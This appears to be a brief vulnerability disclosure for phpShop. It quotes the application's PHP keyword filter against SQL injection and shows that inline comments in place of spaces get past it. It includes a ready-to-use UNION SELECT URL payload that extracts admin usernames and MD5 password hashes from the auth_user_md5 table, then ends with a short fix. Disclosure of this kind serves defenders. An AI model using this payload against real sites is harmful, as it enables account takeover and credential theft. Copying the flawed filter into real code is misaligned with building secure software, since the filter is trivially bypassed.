 // basic SQL inject detection
   $my_insecure_array = array('keyword' => $_REQUEST['keyword'],
                  'category_id' => $_REQUEST['category_id'],
                  'product_id' => $_REQUEST['product_id'],
                  'user_id' => $_REQUEST['user_id'],
                  'user_info_id' => $_REQUEST['user_info_id'],
                  'page' => $_REQUEST['page'],
                  'func' => $_REQUEST['func']);
                  
   while(list($key,$value)=each($my_insecure_array)) {
      if (stristr($value,'FROM ') ||
          stristr($value,'UPDATE ') ||
          stristr($value,'WHERE ') ||
          stristr($value,'ALTER ')  ||
          stristr($value,'SELECT ')  ||
          stristr($value,'SHUTDOWN ') ||
          stristr($value,'CREATE ') ||
          stristr($value,'DROP ') ||
          stristr($value,'DELETE FROM') ||
          stristr($value,'script') ||
          stristr($value,'<>') ||
          stristr($value,'=') ||
          stristr($value,'SET '))
              die('Please provide a permitted value for '.$key);
   }
 [/code]

  The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc 

  so WORD+space, and this can be easily bypassed using comments like 
  POC : select/**/input1,input2...

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*


  
  Solution :
 simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini
